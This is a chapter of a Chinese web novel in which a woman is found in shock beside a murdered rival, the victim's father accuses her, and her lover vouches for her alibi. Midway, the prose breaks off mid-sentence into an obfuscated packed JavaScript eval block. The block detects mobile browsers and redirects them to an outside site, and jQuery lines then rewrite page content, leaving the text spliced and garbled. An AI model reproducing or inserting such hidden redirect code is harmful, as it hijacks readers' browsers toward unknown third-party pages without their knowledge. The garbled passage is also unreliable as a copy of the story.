“你们……找我是有什么急事吗?”谢枕月注意到温蘅的视线,莫名有一瞬间的做贼心虚之感,不等温蘅回答,立即又道,“雪天路滑,方才不小心在路上摔了一跤,我先回去换身衣服。”
她连伞都忘了拿,慌忙转身。
“谢小姐……”丫鬟忽地颤声叫住她,嗓音又急又尖,正要开口,却在抬眸时,望见自家小姐晦暗的神情,她嘴唇哆嗦着,不自觉咽了下口水,到了嘴边的话又咽了回去。
“还有……什么事?”这两人抖成这样实在怪异,她脑子里短暂的想了下,刚才好像没撞到温蘅吧?
“没事!”温蘅双手死死绞在一起,整个人如绷紧的弓弦,甩出这两个字后,她一把拽过丫鬟的手,慌不择路的夺门而出。
“小姐……小姐……!”丫鬟语带哭腔,声音已经抖得不成样子了,“那院子里有死人啊!”
“闭嘴!”温蘅强撑着最后一丝镇定,带着从未有过地严厉,“记住,我们没来过这里,你刚才……什么都没看见!”
她不是圣人,没办法大度到无动于衷。
谢枕月瞒着所有人,找了萧淮!
她虽然不会如同徐漱玉一般,去主动,去陷害。但她只是一个普通人,她想维护自己的利益。
机会既然自动送上门来,她何不顺势而为?
她话音刚落,前方小道的拐角处,亮起了晃晃悠悠的昏黄灯光。伴随着纷乱的脚步声,和隐约的谈笑声。
身后的萧凌风与萧云夕,已经尴尬到不说话了。
萧嵘脸上的神情,简直一言难尽。
老五作为主人,说是去更衣,怎么就需要这许多的功夫,席上的人来了又走,走了又来,他看着众人这样干等着,也实在不像话。
一合计,便提议一道出来寻人。谁料在半道上撞见了迟迟不归的萧淮。
他一眼瞥见老五……的模样,衣衫发饰倒是一丝不苟,可是嘴唇上,那道明晃晃的口子想让人不注意都难。再加上他周身,那迥异于平日的神态。
无处不说明他此去做了什么。到了嘴边的话,只剩下几声掩饰的轻咳,以及难以言喻的尴尬。
那样显眼的位置,徐藏锋自然也看见了。先是愣住,随即眼底闪过恍然与促狭,忍不住抚须大笑起来:“哈哈……方才我正与萧兄说起,二月初二龙抬头,可是个大吉大利的好日子!看来……这日子选得正当时宜啊!”
萧凌风看了眼一旁的人,忍不住低笑出声。
哪怕天色昏暗,光线不显,他也瞬间注意到了五叔唇上的异样。
情之一字果然厉害,竟能让寡淡无趣,如同僧侣般的五叔,失态到这种地步?
“咦,那不是温小姐么?”他眼尖,一眼瞧见了前方几步外,僵立着的温蘅主仆。
此时看到温蘅仓皇失措的模样,再联想到两人前后脚失踪,现在又巧遇……萧凌风耳根发烫,仿佛无意中窥见了长辈,绝不该示于人前的隐秘。
他慌忙移开视线,心脏怦怦直跳。
萧嵘见温蘅低垂着头,整个人透着不太同寻常的异样,他立刻心领神会,只当她是羞窘难当。赶忙打了个哈哈,扬声招呼,试图将众人的注意力从这尴尬的一幕上引开:“这园子落了雪的景致,我倒从没见过,倒也别有一番清寂之美啊!我等都是出来赏景,赏景!巧了,都凑到一处了!”
温蘅此刻脑中一片空白,只觉一片人影晃动,压得她喘不过气。她难以抑制地发抖打颤,只能死死垂着头,借着丫鬟的手勉力维持站立。
这番情状落在众人眼中,就愈发坐实了她羞愤难当的猜测。
只有萧淮微微蹙眉,望向温蘅来时的方向:“刚才有没有碰上什么人?”
这话倒是提醒了徐藏锋,他见萧淮与温蘅都已经折返,不等温蘅开口回答,问道:“望舒可曾见到小女?天色不早,我们也该告辞了,这景明日再赏也不迟。”
徐漱玉?萧淮怔了一下,她也出来了?可自己一开始就回房了,怎么可能见过徐漱玉?
他的视线落在温蘅身上,正欲开口,一声凄厉至极,饱含惊恐的尖叫声,响彻整个医庐。
那让人心慌的声音,是从谢枕月院子里发出来的,不难辨认,正是她本人!
谈笑的几人脸色骤变,不约而同地朝着那方向疾奔而去。
才分别这么一会功夫,可别出什么事!
萧淮无比后悔刚才没有亲自送她进屋,他的身影快到模糊,率先闯入院中。
一眼便看见雪地上那团白色身影。
谢枕月正伏在冰冷的积雪中,浑身哆嗦,抖得不成样子。
“枕月!”萧淮蹲下身,连忙伸手,把人扶了起来。她却整个人蜷缩着,连站立都不能。
入手是刺骨的冷和剧烈地颤抖。那张脸白到骇人,瞳孔涣散,里面盛满了濒临崩溃的惊惧。他目光急急扫过,见她衣衫完整,还穿着片刻前分别时的狐裘披风,并无明显外伤。
“枕月,枕月!”他急声连唤数声,她的眼珠子才稍稍动了动。
正欲伸手探她脉搏,一股力道忽地从旁边袭来。萧凌风不由分说地挤开他,一把将谢枕月拥入自己怀中:“枕月!你怎么了?谁伤了你?!”
就在这时,落后半步的徐藏锋,忽地爆发出撕心裂肺的吼声:“漱玉!漱玉!你怎么在这里,我的漱玉,你睁开眼,看看爹!你怎么了!醒醒啊!!!”
那喊声一声高过一声,震得檐上的积雪簌簌落下。
提着灯笼的侍女们,此刻才追了上来。昏黄的灯笼,照亮了院中那片触目惊心的景象。
就在距离谢枕月几步之遥的地方,积雪被大片暗红浸透。徐漱玉双目紧闭,面颊与发丝上已凝结了一层雪白的冰霜。哪怕被徐藏锋抱在怀里来回摇晃,也能看出她那违背常理的僵硬姿态。
“望舒!”
徐藏锋好像突然反应过来,急急伸手拉住萧淮,眼神里满是哀求,“求你,求你!”
“我求求你,救救她,救救她!!”
萧淮的目光从相拥的两人身上挪开。
他虽不是仵作,但身为大夫,这点常识还是有的。徐漱玉根本不需要看,这样僵硬的姿态,虽然大半是天气的功劳,但她的死亡时间,至少在一刻钟之前。
可他还是在徐漱玉身侧单膝跪下,伸手,熟练地探向她的颈侧,冰冷,僵硬。
“立即封锁山谷所有出入口,只许进,不许出。”
孟东领命,转身疾步而去。
整个院子在萧淮下达封锁令后,陷入了一种令人窒息的寂静。
只有徐藏锋跪在雪地里,不顾血污,一遍遍抚摸着徐漱玉冰冷的脸颊。
谢枕月在萧凌风连续不断按揉她的手心及手腕穴位时,瞳孔终于有了焦距。
她的视线越过萧凌风的肩膀,第一眼看见的是扶着院墙,僵立在门口的温蘅。她的脸色同样的惨白,嘴唇同样的哆嗦。
电光石火间,谢枕月全明白了。温蘅早知道,她一早知道徐漱玉死在了这里,可是她……她什么都没说!
脑子里挥之不去的景象,重新扼住了她的喉咙,胃部痉挛着开始恶心。
“别看!别怕!”
萧凌风敏锐地察觉她的颤抖,一手更用力地揽住她的肩,另一只手迅速抬起,温热的手掌,严严实实地覆住了她的耳朵。他将她的脸按在自己肩头,“别看,我们先离开这里,马上就走。有我在,别怕……”
就在这时,魏照急急从外面赶来,经过温蘅身侧时,极快的扫过她,又掠过埋首在萧凌风身上的谢枕月。
他上前极快地与萧嵘耳语了几句。
萧嵘在他话语刚落的同时,一双眼睛立即抬眸扫向门口方向。
“站住!”一声怒喝。
徐藏锋将尸身小心翼翼地平放在雪地上。可她就连平放也不能,双膝曲起,手掌九十度翻转,整个人呈现诡异的曲起之状。
他双目赤红,仿佛挟着滔天怒意,呼吸赫赫作响,霍然起身,直指谢枕月。
“是你害了我的漱玉!”
魏照耳语的话,一字不漏地传到了他的耳里。
“原来是你!”
“纵使她损了你的名节,就算她不对在先,哪怕她千错万错,自有我这个做父亲的管教惩戒……你怎敢害她性命!”
“你怎敢!”
“徐大人,”萧淮眉头紧蹙,他刚才看过那伤口,就事论事道,“徐小姐胸前的致命伤,伤口平直,凶手出手狠厉,一刀毙命。”
她此刻连站立都勉强,这个人几乎嵌在了凌风怀里……这种生理反应是装不出来,她要怎么杀人?
更何况,徐漱玉遇害之时,谢枕月正与自己在山上……
萧淮的声音虽不重,却掷地有声:“我敢担保,人绝不是她杀的!”
此女心机深沉,能忍常人不能忍。萧嵘面色凝重,一时也拿不准谢枕月是不是装的。
难不成是入席前,他与徐藏锋的话被她听见了?除了这个,他想不出还有别的理由。
只是……老五今日有些反常,他皱着眉头朝萧淮望去。
雪花纷纷扬扬的落下来。在萧淮那番话后,徐藏锋滞了一下。一群人,就这样沉默地站在院子里,谁也没有出声。
萧凌风自己能耗在这里,但怀里的人却不能。他低头看了谢枕月一眼,她比刚才好了点,已经知道哭了,眼眶里蓄满了泪水,但还是没了骨头似的,全身的重量都依靠了过来。
他动了一下,一只手穿过她腿弯,稍稍俯身,干脆打横抱起她。
在场的人谁也没料到,徐藏锋会在这个时候突然发难。
“凶手没找到前,谁也不能走!”
他身形一动,疾扑上前,五指如勾,直取谢枕月。
萧淮:“不可!”
萧凌风:“徐大人!”
他抱着怀里人急退。萧淮则快速飞身上前,手臂一横,硬生生隔开徐藏锋探来的手。
两人视线在空中短暂交汇。
徐藏锋一击落空,气息狂乱,面色铁青。
“徐兄,手下留情!”萧嵘疾步朝萧淮走来,沉重脸喝道,“你们这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16990191|184689||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是做什么?”
萧淮姿态强硬上前一步,横在谢枕月面前,抬头看着他道:“徐大人痛失爱女,萧某责无旁贷,定找出凶手给大人一个交代!”
他顿了顿,寸步不让的把人牢牢护在身后:“但若因此牵连无辜,萧某也不能坐视不理。”
这话直白得相当不留情面。萧嵘立即转向徐藏锋,缓了语气劝慰道:
“丧女之痛,锥心刺骨,侄女是我看着长大的,我亦感同身受。她今日被人所害,任谁都难以接受。只是人死不能复生,望徐兄保证身体。”
他目光扫过一旁颤抖的谢枕月,话锋一转,“枕月虽与侄女同时离席,但她们离开的时候究竟发生了什么,尚需详查清楚。若是贸然定论,反令亲者痛仇者快。”
他向站立在侧的魏照递去一个眼色,继续道:“徐兄若还信得过我,便将枕月交由魏照看管,暂不许旁人接触。我萧嵘再此立誓,必将倾尽全力找出真凶,替侄女报仇雪恨。”
徐藏锋胸膛剧烈起伏,眼底泪光闪动,但总算没出言反驳,也没有动作,就这样沉默地站着。
这样的处置,连萧凌风也没什么好说的。大伯是自家人,待枕月向来亲厚。魏照也算半个自家人,由他看管,在他看来与送她回房间休息无异。
“很快就能查清,别怕!别怕!”
魏照唤了声“二公子”,迈步走了过来。
萧凌风把人放了下来,发现她根本站不稳,好在魏照的手及时扣住了她肩膀,力道之大,仿佛单手就能提得她双脚离地。
看见这双青筋暴起,惨白异常的手,谢枕月仿佛又看见了,那晚窗外晃动绷直的脚尖。她内心的尖叫声震耳欲聋,可嘴巴却无法把之化成任何一个音节。她整个人剧烈颤抖,再度崩溃。
“小姐别怕,由我送您也是一样的。”低沉的嗓音温柔无比,魏照随手指了两名侍女,“你们扶着小姐同来伺候吧。”
两名侍女应了声是,立马上前来扶她。
萧凌风本来还有顾虑魏照是男子,都有不便,这下,确实没什么好说的了。他彻底松手:“别怕,安心回房睡一觉就好了!”这个症状他也碰上过几回,不是什么大问题。
谢枕月奋力仰起满是泪痕的脸,扫过萧凌风,又看向一旁的萧淮。
可极度的恐慌与惊惧,让她连一句完整的话,都没办法诉之于口。她不知哪来的力气,猛然伸手,死死攥紧了萧淮的衣袖,连指甲都恨不得掐进布料里。
萧淮被那目光狠狠地揪住,正欲开口。
“五爷放心,”魏照微微躬身,语气恭敬,一个侧身,侍女下意识地后退一步,谢枕月那点力气,根本不值一提,攥在手里的衣袖瞬间落空。
那一瞬间,她泪如雨下。从来没有哪一刻,如此痛恨过这个奇怪的病症。不敢想自己此时落在他们手里,会有什么样的下场。她发了疯一样流泪,发了疯一样地伸手去抓挠侍女的手臂,把脖颈扭到一个难以想象的弧度。可使不上力气的手脚,只能在雪地上划出一道拖痕,压根没有任何人在乎。
萧淮就站在她身侧。看着她被侍女搀扶着往前走去。
那种绝望的眼神,让他很是不解。
以他大哥对谢枕月的疼爱,魏照此人,他本不应该怀疑他。哪怕退一步讲,魏照真的心存不轨,可此刻他们脚踩的是他的地盘,那两名侍女也是他的人,今晚住的还是他的医庐。
要找出凶手可能要费些时日,但要证明谢枕月不是凶手,却容易的很。就算他不开口,最多一晚,她也能洗清嫌疑。
她何至于此?
眼下徐漱玉死了,实在不是儿女情长的好时机。而且就像她自己所说,温蘅实在无辜,他打算先私下与她商议解决,实在不想以这样的方式让她当众难堪。
还有……比这更让他顾虑重重的,是凌风!
席上大哥刚提两人的亲事,他若在此时坦诚两人的事……凌风会如何看待此事?
萧淮告诉自己,不过一晚,没什么大不了,么没什么大不了的!
这是他的地方,不会有人敢对她怎么样。
他深呼一口气,目光无意中扫过那早已恢复平整的衣袖,他下意识地抬眼望去。
视线尽头,她被两名侍女一左一右架着,纤细的身子几乎离了地。而她还在极力扭过头,眼神空洞地望着他的方向。
他突然生出一种荒诞的错觉,觉得那扇门,仿佛能隔开两个世界。
“等等!”萧淮忽地出声。
什么时机,什么顾虑,既然她不愿意走,那必定有她的理由。他快步追了上去。
那双流泪的眼睛,突然爆发出巨大的惊喜时。
萧淮怔了一下,突然很是后悔刚才的迟疑。他有些急切地把人从侍女手里接了过来。
“她离席之后,便一直与我在山上。”他一边说着,一边摸索到她颈侧松散的系带,有些笨拙地,将那过于宽大的狐裘左右交叠合拢。
随即抱起她,面向众人,神情严肃认真道:“她身上所穿的狐裘是我的衣物,此物可以证明,我所言不虚。”